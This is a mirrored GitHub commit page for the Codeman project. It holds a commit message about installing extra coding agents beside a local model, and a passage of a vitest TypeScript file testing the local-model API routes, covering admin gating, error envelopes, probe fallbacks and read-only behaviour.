mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-11-14 02:29:33 +01:00
An installed model knew one coding agent: the one it was installed with.
The launch check never asked about the agent, only about the endpoint
and the model, so nothing stopped a second one. What was missing is the
list, and a way to get an agent that is not on the Mac yet.
The install view gains `harnesses`: every catalogue harness the model in
use can be run with, each with how it stands (`ready`, `installable`,
`installing`, `setup-needed`), the literal install command, a readiness
mark for scripts, and the actions the server accepts for it. `cli` stays
the default agent, and names one that can be started whenever one can,
so a client that reads only `cli` never starts an agent that is gone.
`POST /api/local-model/agent { cli }` installs one more agent beside an
installed model. It is not a job and not an event of the reducer: the
state stays `installed` whatever the installer does, so a failed npm
install never blocks a session on a model that works. Same install slot
and same compiled stock command as the `agent` step, one at a time, the
outcome in memory only.
The catalogue:
- `pi` is no longer gated. Its two open questions were answered by a run
against a real model (the `name:tag` id reaches the runtime unchanged;
its first request is 2,096 tokens), and Codeman now passes it the
window. Its minimum is 65536 like the others: nothing below was run,
and no model row offers less, so no Mac's pick changes.
- `deepseek` is new. It is a launcher: its install command leaves it
with nothing to launch, so it is never reported installable (read off
`discovery.launcherProfile`, not the id) and a Mac is offered it only
where it was already set up. Its tool round trip was seen on a
scripted endpoint only; the header says how to gate it again.
- a row may carry `readyMark`; `opencode` has the measured one.
A switch no longer refuses for the agent a model was checked with when
another agent that can run it is on the Mac.
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
1278 lines
53 KiB
TypeScript
1278 lines
53 KiB
TypeScript
/**
|
|
* @fileoverview The local model routes: GET /api/local-model (what this Mac is and which local
|
|
* model fits it, plus where the install stands) and the verbs that install, cancel, resume,
|
|
* start, stop and remove.
|
|
*
|
|
* The routes only compose injected functions (the hardware probe, the catalogue getter, the
|
|
* harness facts, the pure `recommend()` and the install service), so every test passes its own
|
|
* and no test depends on what those modules compute. What is pinned here is the routes' own
|
|
* contract: the envelope, the admin gate on EVERY verb in multi-user mode, that an unsupported
|
|
* platform and a failed probe are answers (200) and never a 500, what does answer 500, how a
|
|
* verb's refusal becomes a 400 or a 409 with its conflict, that DELETE hands the live sessions
|
|
* to the service, and that a GET with nothing installed writes nothing.
|
|
*
|
|
* The install service itself is tested in test/local-model-install-service.test.ts.
|
|
*
|
|
* Port: N/A (app.inject()).
|
|
*/
|
|
import { afterEach, describe, expect, it, vi, type Mock } from 'vitest';
|
|
import { existsSync, lstatSync, readFileSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
|
|
import { arch, homedir, totalmem } from 'node:os';
|
|
import { join } from 'node:path';
|
|
import { fileURLToPath } from 'node:url';
|
|
import { createRouteTestHarness } from './_route-test-utils.js';
|
|
import {
|
|
defaultLocalModelRouteDeps,
|
|
hardwareFromOs,
|
|
registerLocalModelRoutes,
|
|
type LocalModelRouteDeps,
|
|
} from '../../src/web/routes/local-model-routes.js';
|
|
import { buildHarnessFacts } from '../../src/local-model/harness-facts.js';
|
|
import { formatGb, memClassGb } from '../../src/local-model/format.js';
|
|
import {
|
|
createLocalModelService,
|
|
getLocalModelService,
|
|
type LocalModelService,
|
|
type LocalModelVerbResult,
|
|
} from '../../src/local-model/install-job.js';
|
|
import { CustomModelHostsWriteRefusedError } from '../../src/custom-model-hosts-writer.js';
|
|
import { SettingsWriteRefusedError } from '../../src/web/settings-writer.js';
|
|
import { dataPath, getDataDir } from '../../src/config/instance.js';
|
|
import {
|
|
LOCAL_MODEL_INSTALL_LABELS,
|
|
LOCAL_MODEL_LABELS,
|
|
type HardwareFacts,
|
|
type HarnessFact,
|
|
type LocalModelCatalog,
|
|
type LocalModelInstallView,
|
|
type Recommendation,
|
|
} from '../../src/types.js';
|
|
|
|
const CATALOG: LocalModelCatalog = {
|
|
schema: 1,
|
|
updated: '2026-11-06',
|
|
minMacosMajor: 14,
|
|
models: [],
|
|
harnesses: [
|
|
{ cli: 'opencode', minContext: 65536, rank: 3 },
|
|
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
|
|
],
|
|
chips: [],
|
|
};
|
|
|
|
/** A 48 GB Apple silicon Mac whose chip is in no chips row, as the probe would report it. */
|
|
const MAC: HardwareFacts = {
|
|
platform: 'darwin',
|
|
arch: 'arm64',
|
|
arm64: true,
|
|
translated: false,
|
|
memBytes: 51539607552,
|
|
memGb: '51.5',
|
|
memClassGb: 48,
|
|
chip: 'Apple M5 Pro',
|
|
model: 'Mac17,13',
|
|
macosVersion: '27.2',
|
|
macosMajor: 27,
|
|
wiredLimitMb: 0,
|
|
freeDiskBytes: 912308310016,
|
|
freeDiskGb: '912',
|
|
source: 'sysctl',
|
|
};
|
|
|
|
/** The same Mac after a `sysctl` spawn that failed: `node:os` supplied what little is known. */
|
|
const MAC_FALLBACK: HardwareFacts = {
|
|
platform: 'darwin',
|
|
arch: 'arm64',
|
|
memBytes: 51539607552,
|
|
memGb: '51.5',
|
|
memClassGb: 48,
|
|
chip: 'Apple M5 Pro',
|
|
source: 'os-fallback',
|
|
};
|
|
|
|
const LINUX: HardwareFacts = {
|
|
platform: 'linux',
|
|
arch: 'x64',
|
|
memBytes: 67430404096,
|
|
memGb: '67.4',
|
|
memClassGb: 63,
|
|
source: 'not-probed',
|
|
};
|
|
|
|
const OK: Recommendation = {
|
|
verdict: 'ok',
|
|
headline: { text: LOCAL_MODEL_LABELS.headlineOk },
|
|
notes: [{ text: LOCAL_MODEL_LABELS.noteUntested }],
|
|
pick: {
|
|
modelId: 'qwen3.8:27b',
|
|
modelLabel: 'Qwen3.8 27B',
|
|
license: 'Apache-2.0',
|
|
paramsB: 27.8,
|
|
context: 131072,
|
|
cli: 'opencode',
|
|
cliLabel: 'OpenCode',
|
|
cliInstalled: true,
|
|
needBytes: 29551160064,
|
|
needGb: '29.6',
|
|
downloadBytes: 17740000000,
|
|
downloadGb: '17.7',
|
|
budgetShare: 0.79,
|
|
fit: 'good',
|
|
fitLabel: LOCAL_MODEL_LABELS.fitGood,
|
|
speed: 'unknown',
|
|
speedLabel: LOCAL_MODEL_LABELS.speedUnknown,
|
|
tested: false,
|
|
needSource: 'estimated',
|
|
harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', installed: true }],
|
|
installBytes: 17740000000,
|
|
installGb: '17.7',
|
|
},
|
|
alternatives: [],
|
|
budgetBytes: 37580963840,
|
|
budgetGb: '37.6',
|
|
budgetSource: 'estimated',
|
|
};
|
|
|
|
const NOT_MACOS: Recommendation = {
|
|
verdict: 'none',
|
|
reason: 'not-macos',
|
|
headline: { text: LOCAL_MODEL_LABELS.noneNotMacos },
|
|
notes: [],
|
|
alternatives: [],
|
|
budgetBytes: 0,
|
|
budgetGb: '0.0',
|
|
budgetSource: 'estimated',
|
|
};
|
|
|
|
const FACTS: HarnessFact[] = [
|
|
{ cli: 'opencode', label: 'OpenCode', installed: true, installable: false, acceptsModelId: () => true },
|
|
];
|
|
|
|
/** The install view of a Mac with nothing installed, as the service would answer it. */
|
|
const IDLE_VIEW: LocalModelInstallView = {
|
|
state: 'idle',
|
|
running: false,
|
|
developerTools: 'missing',
|
|
runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' },
|
|
folder: '/Users/me/.codeman/local-model',
|
|
library: [],
|
|
harnesses: [],
|
|
actions: ['install'],
|
|
};
|
|
|
|
const INSTALLING_VIEW: LocalModelInstallView = {
|
|
...IDLE_VIEW,
|
|
state: 'installing',
|
|
step: 'runtime',
|
|
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
|
|
model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B' },
|
|
cli: 'opencode',
|
|
cliLabel: 'OpenCode',
|
|
context: 131072,
|
|
actions: ['cancel'],
|
|
};
|
|
|
|
const OK_RESULT: LocalModelVerbResult = { ok: true, view: INSTALLING_VIEW };
|
|
|
|
type ServiceMock = { [K in keyof LocalModelService]: Mock<LocalModelService[K]> };
|
|
|
|
/** An install service whose every verb answers `OK_RESULT` and whose view is idle. */
|
|
function fakeService(): ServiceMock {
|
|
return {
|
|
view: vi.fn(async () => IDLE_VIEW),
|
|
launchRefusal: vi.fn(async () => undefined),
|
|
launchRefusalMessage: vi.fn(async () => undefined),
|
|
recommendOptions: vi.fn(async () => ({ runtimeDownloadBytes: 185971671 })),
|
|
install: vi.fn(async () => OK_RESULT),
|
|
use: vi.fn(async () => OK_RESULT),
|
|
deleteLibraryModel: vi.fn(async () => OK_RESULT),
|
|
installAgent: vi.fn(async () => OK_RESULT),
|
|
cancel: vi.fn(async () => OK_RESULT),
|
|
resume: vi.fn(async () => OK_RESULT),
|
|
runtime: vi.fn(async () => OK_RESULT),
|
|
remove: vi.fn(async () => OK_RESULT),
|
|
boot: vi.fn(async () => {}),
|
|
shutdown: vi.fn(async () => {}),
|
|
onRuntimeChange: vi.fn(),
|
|
idle: vi.fn(async () => {}),
|
|
};
|
|
}
|
|
|
|
interface Fakes {
|
|
deps: LocalModelRouteDeps;
|
|
readHardware: Mock<LocalModelRouteDeps['readHardware']>;
|
|
getCatalog: Mock<LocalModelRouteDeps['getCatalog']>;
|
|
buildHarnessFacts: Mock<LocalModelRouteDeps['buildHarnessFacts']>;
|
|
recommend: Mock<LocalModelRouteDeps['recommend']>;
|
|
service: ServiceMock;
|
|
}
|
|
|
|
function fakes(hardware: HardwareFacts = MAC, recommendation: Recommendation = OK): Fakes {
|
|
const readHardware = vi.fn<LocalModelRouteDeps['readHardware']>(async () => hardware);
|
|
const getCatalog = vi.fn<LocalModelRouteDeps['getCatalog']>(() => CATALOG);
|
|
const buildFacts = vi.fn<LocalModelRouteDeps['buildHarnessFacts']>(async () => FACTS);
|
|
const recommend = vi.fn<LocalModelRouteDeps['recommend']>(() => recommendation);
|
|
const service = fakeService();
|
|
return {
|
|
deps: { readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend, service: () => service },
|
|
readHardware,
|
|
getCatalog,
|
|
buildHarnessFacts: buildFacts,
|
|
recommend,
|
|
service,
|
|
};
|
|
}
|
|
|
|
type AuthUser = { username: string; role: 'admin' | 'user' };
|
|
|
|
/** The live sessions the DELETE looks at: a name, and for some the endpoint their model comes from. */
|
|
type SessionLike = { name: string; customModel?: { endpointId: string } };
|
|
|
|
const harness = (deps: Partial<LocalModelRouteDeps>, authUser?: AuthUser, sessions: SessionLike[] = []) =>
|
|
createRouteTestHarness(
|
|
(app) =>
|
|
registerLocalModelRoutes(app, { sessions: new Map(sessions.map((session, i) => [`s${i}`, session])) }, deps),
|
|
authUser ? { authUser } : undefined
|
|
);
|
|
|
|
const get = async (deps: Partial<LocalModelRouteDeps>, authUser?: { username: string; role: 'admin' | 'user' }) => {
|
|
const { app } = await harness(deps, authUser);
|
|
return app.inject({ method: 'GET', url: '/api/local-model' });
|
|
};
|
|
|
|
/** Every file and folder under `root`, with its size and modification time. */
|
|
function snapshot(root: string): string[] {
|
|
if (!existsSync(root)) return [];
|
|
const rows: string[] = [];
|
|
const walk = (dir: string) => {
|
|
for (const name of readdirSync(dir).sort()) {
|
|
const path = join(dir, name);
|
|
const stat = lstatSync(path);
|
|
rows.push(`${path} ${stat.isDirectory() ? 'dir' : stat.size} ${stat.mtimeMs}`);
|
|
if (stat.isDirectory()) walk(path);
|
|
}
|
|
};
|
|
walk(root);
|
|
return rows;
|
|
}
|
|
|
|
afterEach(() => {
|
|
delete process.env.CODEMAN_MULTIUSER;
|
|
vi.restoreAllMocks();
|
|
});
|
|
|
|
describe('GET /api/local-model', () => {
|
|
it('answers the success envelope with the hardware, the recommendation and the catalogue date', async () => {
|
|
const f = fakes();
|
|
const res = await get(f.deps);
|
|
expect(res.statusCode).toBe(200);
|
|
expect(res.json()).toEqual({
|
|
success: true,
|
|
data: { hardware: MAC, recommendation: OK, catalogUpdated: '2026-11-06', install: IDLE_VIEW },
|
|
});
|
|
});
|
|
|
|
it('recommends with what the install service knows: the measured budget and the runtime still to download', async () => {
|
|
const f = fakes();
|
|
f.service.recommendOptions.mockResolvedValue({ measuredTotalBytes: 40_157_944_217, runtimeDownloadBytes: 0 });
|
|
await get(f.deps);
|
|
expect(f.service.recommendOptions).toHaveBeenCalledTimes(1);
|
|
expect(f.recommend.mock.calls[0][3]).toEqual({ measuredTotalBytes: 40_157_944_217, runtimeDownloadBytes: 0 });
|
|
});
|
|
|
|
it('carries the install view of the service as it is, in every state', async () => {
|
|
const f = fakes();
|
|
f.service.view.mockResolvedValue(INSTALLING_VIEW);
|
|
const res = await get(f.deps);
|
|
expect(res.json().data.install).toEqual(INSTALLING_VIEW);
|
|
expect(f.service.view).toHaveBeenCalledTimes(1);
|
|
// The facts built for the recommendation are the ones the view lists its coding agents
|
|
// from: the availability probe is asked once per answer, not twice.
|
|
expect(f.service.view).toHaveBeenCalledWith({ harnessFacts: FACTS });
|
|
expect(f.buildHarnessFacts).toHaveBeenCalledTimes(1);
|
|
// Looking is not doing: no verb of the service was called.
|
|
for (const verb of [
|
|
'install',
|
|
'installAgent',
|
|
'cancel',
|
|
'resume',
|
|
'runtime',
|
|
'remove',
|
|
'boot',
|
|
'shutdown',
|
|
] as const) {
|
|
expect(f.service[verb]).not.toHaveBeenCalled();
|
|
}
|
|
});
|
|
|
|
it('hands recommend() exactly what the probe, the catalogue and the harness facts answered', async () => {
|
|
const f = fakes();
|
|
await get(f.deps);
|
|
expect(f.readHardware).toHaveBeenCalledTimes(1);
|
|
expect(f.buildHarnessFacts).toHaveBeenCalledTimes(1);
|
|
expect(f.buildHarnessFacts).toHaveBeenCalledWith(CATALOG);
|
|
expect(f.recommend).toHaveBeenCalledTimes(1);
|
|
const [hw, catalog, facts] = f.recommend.mock.calls[0];
|
|
expect(hw).toBe(MAC);
|
|
expect(catalog).toBe(CATALOG);
|
|
expect(facts).toBe(FACTS);
|
|
});
|
|
|
|
it('sends the payload as the modules built it: no size is reformatted and no function leaks', async () => {
|
|
const res = await get(fakes().deps);
|
|
const { data } = res.json();
|
|
expect(Object.keys(data).sort()).toEqual(['catalogUpdated', 'hardware', 'install', 'recommendation']);
|
|
expect(data.hardware.memGb).toBe('51.5');
|
|
expect(data.hardware.freeDiskGb).toBe('912');
|
|
expect(data.recommendation.pick.needGb).toBe('29.6');
|
|
expect(data.recommendation.budgetGb).toBe('37.6');
|
|
// Harness facts hold a function and stay on the server.
|
|
expect(res.body).not.toContain('acceptsModelId');
|
|
expect(res.body).not.toContain('installable');
|
|
});
|
|
|
|
it('is the only thing a GET does: there is no POST, PUT or PATCH on the same path', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
for (const method of ['POST', 'PUT', 'PATCH'] as const) {
|
|
expect((await app.inject({ method, url: '/api/local-model', payload: {} })).statusCode).toBe(404);
|
|
}
|
|
expect(f.service.install).not.toHaveBeenCalled();
|
|
});
|
|
|
|
describe('multi-user mode', () => {
|
|
it('refuses a non-admin with 403 before anything is probed', async () => {
|
|
process.env.CODEMAN_MULTIUSER = '1';
|
|
const f = fakes();
|
|
const res = await get(f.deps, { username: 'bob', role: 'user' });
|
|
expect(res.statusCode).toBe(403);
|
|
expect(res.json()).toMatchObject({ success: false, errorCode: 'FORBIDDEN' });
|
|
expect(res.body).not.toContain('Apple M5 Pro');
|
|
expect(f.readHardware).not.toHaveBeenCalled();
|
|
expect(f.getCatalog).not.toHaveBeenCalled();
|
|
expect(f.buildHarnessFacts).not.toHaveBeenCalled();
|
|
expect(f.recommend).not.toHaveBeenCalled();
|
|
expect(f.service.view).not.toHaveBeenCalled();
|
|
expect(f.service.recommendOptions).not.toHaveBeenCalled();
|
|
});
|
|
|
|
it('answers an admin', async () => {
|
|
process.env.CODEMAN_MULTIUSER = '1';
|
|
const res = await get(fakes().deps, { username: 'root', role: 'admin' });
|
|
expect(res.statusCode).toBe(200);
|
|
expect(res.json().data.hardware.chip).toBe('Apple M5 Pro');
|
|
});
|
|
|
|
it('is not gated while multi-user mode is off, whoever asks', async () => {
|
|
const res = await get(fakes().deps, { username: 'bob', role: 'user' });
|
|
expect(res.statusCode).toBe(200);
|
|
});
|
|
});
|
|
|
|
describe('an unsupported platform is an answer', () => {
|
|
it('answers 200 with verdict none and reason not-macos on a server that is not a Mac', async () => {
|
|
const f = fakes(LINUX, NOT_MACOS);
|
|
const res = await get(f.deps);
|
|
expect(res.statusCode).toBe(200);
|
|
const { success, data } = res.json();
|
|
expect(success).toBe(true);
|
|
expect(data.hardware).toEqual(LINUX);
|
|
expect(data.hardware.source).toBe('not-probed');
|
|
expect(data.recommendation.verdict).toBe('none');
|
|
expect(data.recommendation.reason).toBe('not-macos');
|
|
expect(data.recommendation.pick).toBeUndefined();
|
|
expect(data.recommendation.alternatives).toEqual([]);
|
|
expect(data.recommendation.headline.text).toBe(LOCAL_MODEL_LABELS.noneNotMacos);
|
|
expect(data.catalogUpdated).toBe('2026-11-06');
|
|
expect(f.recommend.mock.calls[0][0]).toBe(LINUX);
|
|
});
|
|
});
|
|
|
|
describe('a failed probe is an answer', () => {
|
|
it('answers 200 when the probe reports that sysctl failed (source os-fallback)', async () => {
|
|
const f = fakes(MAC_FALLBACK, OK);
|
|
const res = await get(f.deps);
|
|
expect(res.statusCode).toBe(200);
|
|
expect(res.json().data.hardware).toEqual(MAC_FALLBACK);
|
|
expect(res.json().data.recommendation.verdict).toBe('ok');
|
|
});
|
|
|
|
it('answers 200 from node:os when the probe itself rejects, and still recommends', async () => {
|
|
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
|
const f = fakes();
|
|
f.readHardware.mockRejectedValue(new Error('spawn EAGAIN'));
|
|
const res = await get(f.deps);
|
|
expect(res.statusCode).toBe(200);
|
|
const { success, data } = res.json();
|
|
expect(success).toBe(true);
|
|
expect(data.hardware).toEqual(hardwareFromOs());
|
|
expect(data.hardware.memBytes).toBe(totalmem());
|
|
expect(data.recommendation).toEqual(OK);
|
|
expect(f.recommend).toHaveBeenCalledTimes(1);
|
|
expect(f.recommend.mock.calls[0][0]).toEqual(hardwareFromOs());
|
|
expect(String(warn.mock.calls[0][0])).toContain('spawn EAGAIN');
|
|
});
|
|
|
|
it('hardwareFromOs() is a complete answer of its own, sized by the one formatter', () => {
|
|
const hw = hardwareFromOs();
|
|
expect(hw.platform).toBe(process.platform);
|
|
expect(hw.arch).toBe(arch());
|
|
expect(hw.memBytes).toBe(totalmem());
|
|
expect(hw.memGb).toBe(formatGb(totalmem()));
|
|
expect(hw.memClassGb).toBe(memClassGb(totalmem()));
|
|
expect(hw.source).toBe(process.platform === 'darwin' ? 'os-fallback' : 'not-probed');
|
|
// Nothing that only sysctl or statfs can know is invented.
|
|
expect(Object.keys(hw).sort()).toEqual(['arch', 'memBytes', 'memClassGb', 'memGb', 'platform', 'source']);
|
|
});
|
|
|
|
it('answers 200 when no harness fact could be built (the facts are just empty)', async () => {
|
|
const none: Recommendation = {
|
|
...NOT_MACOS,
|
|
reason: 'no-harness',
|
|
headline: { text: LOCAL_MODEL_LABELS.noneNoHarness },
|
|
};
|
|
const f = fakes(MAC, none);
|
|
f.buildHarnessFacts.mockResolvedValue([]);
|
|
const res = await get(f.deps);
|
|
expect(res.statusCode).toBe(200);
|
|
expect(res.json().data.recommendation.reason).toBe('no-harness');
|
|
expect(f.recommend.mock.calls[0][2]).toEqual([]);
|
|
});
|
|
});
|
|
|
|
describe('a fault that is not a probe is a 500 in the envelope, never a made-up answer', () => {
|
|
it.each([
|
|
[
|
|
'recommend() throws',
|
|
(f: Fakes) =>
|
|
f.recommend.mockImplementation(() => {
|
|
throw new Error('rank table is empty');
|
|
}),
|
|
'rank table is empty',
|
|
],
|
|
[
|
|
'the catalogue getter throws',
|
|
(f: Fakes) =>
|
|
f.getCatalog.mockImplementation(() => {
|
|
throw new Error('catalogue did not parse');
|
|
}),
|
|
'catalogue did not parse',
|
|
],
|
|
[
|
|
'the harness facts reject',
|
|
(f: Fakes) => f.buildHarnessFacts.mockRejectedValue(new Error('registry unreadable')),
|
|
'registry unreadable',
|
|
],
|
|
])('%s', async (_label, breakIt, message) => {
|
|
const f = fakes();
|
|
breakIt(f);
|
|
const res = await get(f.deps);
|
|
expect(res.statusCode).toBe(500);
|
|
const body = res.json();
|
|
expect(body.success).toBe(false);
|
|
expect(body.errorCode).toBe('INTERNAL_ERROR');
|
|
expect(body.error).toContain(message);
|
|
expect(body.data).toBeUndefined();
|
|
});
|
|
});
|
|
|
|
describe('read-only', () => {
|
|
it('writes nothing: the home directory and the data dir are byte for byte what they were', async () => {
|
|
// The real harness facts (they read the CLI registry and run the availability probe),
|
|
// the REAL install service over the real state file (nothing is installed, so its view
|
|
// is idle), the route's own composition, and a hardware answer and a recommendation of
|
|
// the test's.
|
|
const f = fakes();
|
|
const service = createLocalModelService();
|
|
const { app } = await harness({
|
|
...f.deps,
|
|
buildHarnessFacts: (catalog) => buildHarnessFacts(catalog),
|
|
service: () => service,
|
|
});
|
|
|
|
const home = homedir();
|
|
const before = snapshot(home);
|
|
const dataDirExisted = existsSync(getDataDir());
|
|
|
|
for (let i = 0; i < 3; i++) {
|
|
const res = await app.inject({ method: 'GET', url: '/api/local-model' });
|
|
expect(res.statusCode).toBe(200);
|
|
expect(res.json().data.install).toMatchObject({ state: 'idle', running: false, actions: ['install'] });
|
|
}
|
|
// A refused request and a failing one write nothing either.
|
|
f.recommend.mockImplementationOnce(() => {
|
|
throw new Error('boom');
|
|
});
|
|
expect((await app.inject({ method: 'GET', url: '/api/local-model' })).statusCode).toBe(500);
|
|
|
|
expect(snapshot(home)).toEqual(before);
|
|
expect(existsSync(getDataDir())).toBe(dataDirExisted);
|
|
expect(existsSync(join(getDataDir(), 'settings.json'))).toBe(false);
|
|
expect(existsSync(join(getDataDir(), 'local-model.json'))).toBe(false);
|
|
expect(existsSync(join(getDataDir(), 'local-models.json'))).toBe(false);
|
|
// The facts really were built from the registry for the catalogue's two harnesses.
|
|
expect(f.recommend.mock.calls[0][2].map((fact) => fact.cli)).toEqual(['opencode', 'claude']);
|
|
|
|
// The comparison above is not vacuous: one new file in the home directory shows up.
|
|
const probe = join(home, 'local-model-route-test-probe');
|
|
writeFileSync(probe, 'x');
|
|
try {
|
|
expect(snapshot(home)).not.toEqual(before);
|
|
} finally {
|
|
rmSync(probe);
|
|
}
|
|
});
|
|
|
|
it('is registered on the real server through the routes barrel', () => {
|
|
const root = fileURLToPath(new URL('../../', import.meta.url));
|
|
const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8');
|
|
const barrel = readFileSync(join(root, 'src/web/routes/index.ts'), 'utf8');
|
|
expect(barrel).toContain("export { registerLocalModelRoutes } from './local-model-routes.js';");
|
|
// The route context for the live sessions, and no third argument: the server runs the
|
|
// real probe, catalogue, facts, recommend() and install service.
|
|
expect(server).toContain('registerLocalModelRoutes(this.app, ctx);');
|
|
});
|
|
|
|
it('the server starts the install service at boot and stops it at shutdown, outside tests only', () => {
|
|
const root = fileURLToPath(new URL('../../', import.meta.url));
|
|
const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8');
|
|
const boot = server.indexOf('void getLocalModelService().boot();');
|
|
const shutdown = server.indexOf('void getLocalModelService().shutdown();');
|
|
expect(boot).toBeGreaterThan(-1);
|
|
expect(shutdown).toBeGreaterThan(-1);
|
|
// Each sits in a block that tests never enter: nothing of the runtime runs under vitest.
|
|
for (const at of [boot, shutdown]) {
|
|
const before = server.slice(0, at).trimEnd();
|
|
expect(before.endsWith('if (!this.testMode) {')).toBe(true);
|
|
}
|
|
// Shutdown stands beside the other supervised child's stop.
|
|
const deepseek = server.indexOf('void stopDeepSeekWeb();');
|
|
expect(deepseek).toBeGreaterThan(-1);
|
|
expect(shutdown).toBeGreaterThan(deepseek);
|
|
expect(shutdown - deepseek).toBeLessThan(700);
|
|
});
|
|
|
|
it('the default dependencies are the real modules, read at call time', () => {
|
|
expect(Object.keys(defaultLocalModelRouteDeps).sort()).toEqual([
|
|
'buildHarnessFacts',
|
|
'getCatalog',
|
|
'readHardware',
|
|
'recommend',
|
|
'service',
|
|
]);
|
|
for (const dep of Object.values(defaultLocalModelRouteDeps)) expect(typeof dep).toBe('function');
|
|
// The one install service of the process, the same object every time.
|
|
expect(defaultLocalModelRouteDeps.service()).toBe(getLocalModelService());
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('the install verbs', () => {
|
|
const INSTALL_BODY = { modelId: 'qwen3.8:27b', cli: 'opencode', context: 131072, acknowledgedBytes: 17926000000 };
|
|
|
|
/** Every verb as a request, with a body the route accepts. */
|
|
const VERBS = [
|
|
{ name: 'install', method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY },
|
|
{ name: 'use', method: 'POST', url: '/api/local-model/use', payload: { modelId: 'qwen3.8:27b' } },
|
|
{
|
|
name: 'deleteLibraryModel',
|
|
method: 'DELETE',
|
|
url: '/api/local-model/models',
|
|
payload: { modelId: 'qwen3.8:27b' },
|
|
},
|
|
{ name: 'installAgent', method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } },
|
|
{ name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined },
|
|
{ name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} },
|
|
{ name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } },
|
|
{ name: 'remove', method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } },
|
|
] as const;
|
|
|
|
const call = (app: Awaited<ReturnType<typeof harness>>['app'], verb: (typeof VERBS)[number]) =>
|
|
app.inject({ method: verb.method, url: verb.url, ...(verb.payload ? { payload: verb.payload } : {}) });
|
|
|
|
describe.each(VERBS)('$method $url', (verb) => {
|
|
it('answers the view after the verb in the success envelope', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps);
|
|
const res = await call(app, verb);
|
|
expect(res.statusCode).toBe(200);
|
|
expect(res.json()).toEqual({ success: true, data: INSTALLING_VIEW });
|
|
expect(f.service[verb.name]).toHaveBeenCalledTimes(1);
|
|
});
|
|
|
|
it('multi-user mode: a non-admin is refused with 403 before the service is asked anything', async () => {
|
|
process.env.CODEMAN_MULTIUSER = '1';
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, { username: 'bob', role: 'user' });
|
|
const res = await call(app, verb);
|
|
expect(res.statusCode).toBe(403);
|
|
expect(res.json()).toMatchObject({ success: false, errorCode: 'FORBIDDEN' });
|
|
for (const name of ['install', 'cancel', 'resume', 'runtime', 'remove', 'view', 'recommendOptions'] as const) {
|
|
expect(f.service[name]).not.toHaveBeenCalled();
|
|
}
|
|
});
|
|
|
|
it('multi-user mode: the gate comes before the body is even parsed', async () => {
|
|
process.env.CODEMAN_MULTIUSER = '1';
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, { username: 'bob', role: 'user' });
|
|
const res = await app.inject({ method: verb.method, url: verb.url, payload: { nonsense: true } });
|
|
expect(res.statusCode).toBe(403);
|
|
});
|
|
|
|
it('multi-user mode: an admin is served', async () => {
|
|
process.env.CODEMAN_MULTIUSER = '1';
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, { username: 'root', role: 'admin' });
|
|
expect((await call(app, verb)).statusCode).toBe(200);
|
|
expect(f.service[verb.name]).toHaveBeenCalledTimes(1);
|
|
});
|
|
|
|
it('is not gated while multi-user mode is off', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, { username: 'bob', role: 'user' });
|
|
expect((await call(app, verb)).statusCode).toBe(200);
|
|
});
|
|
|
|
it('a 409 of the service is the error envelope plus the conflict as data', async () => {
|
|
const f = fakes();
|
|
f.service[verb.name].mockResolvedValue({
|
|
ok: false,
|
|
status: 409,
|
|
conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } },
|
|
});
|
|
const { app } = await harness(f.deps);
|
|
const res = await call(app, verb);
|
|
expect(res.statusCode).toBe(409);
|
|
expect(res.json()).toEqual({
|
|
success: false,
|
|
error: 'An install is already running.',
|
|
errorCode: 'CONFLICT',
|
|
data: { reason: 'job-running', message: { text: 'An install is already running.' } },
|
|
});
|
|
});
|
|
|
|
it('an exception of the service is a 500 in the envelope', async () => {
|
|
const f = fakes();
|
|
f.service[verb.name].mockRejectedValue(new Error('disk on fire'));
|
|
const { app } = await harness(f.deps);
|
|
const res = await call(app, verb);
|
|
expect(res.statusCode).toBe(500);
|
|
expect(res.json()).toMatchObject({ success: false, errorCode: 'INTERNAL_ERROR' });
|
|
expect(res.json().error).toContain('disk on fire');
|
|
});
|
|
|
|
it.each([
|
|
['the endpoint store', new CustomModelHostsWriteRefusedError('custom-model-hosts.json is not a valid JSON list')],
|
|
['the settings file', new SettingsWriteRefusedError('settings.json is not a valid JSON object')],
|
|
])('a refused write of %s is a 409 with the fix and no conflict data', async (_label, error) => {
|
|
const f = fakes();
|
|
f.service[verb.name].mockRejectedValue(error);
|
|
const { app } = await harness(f.deps);
|
|
const res = await call(app, verb);
|
|
expect(res.statusCode).toBe(409);
|
|
expect(res.json()).toEqual({ success: false, error: error.message, errorCode: 'CONFLICT' });
|
|
});
|
|
});
|
|
|
|
describe('POST /api/local-model/install', () => {
|
|
it('hands the service the four choices and who asked', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, { username: 'alice', role: 'admin' });
|
|
await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
|
|
expect(f.service.install).toHaveBeenCalledWith(INSTALL_BODY, { username: 'alice', ip: '127.0.0.1' }, []);
|
|
});
|
|
|
|
it('hands the service the names of the live sessions on the model: another model would take the runtime from them', async () => {
|
|
const f = fakes();
|
|
const { app } = await harness(f.deps, undefined, [
|
|
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
|
|
{ name: 'w2-app' },
|
|
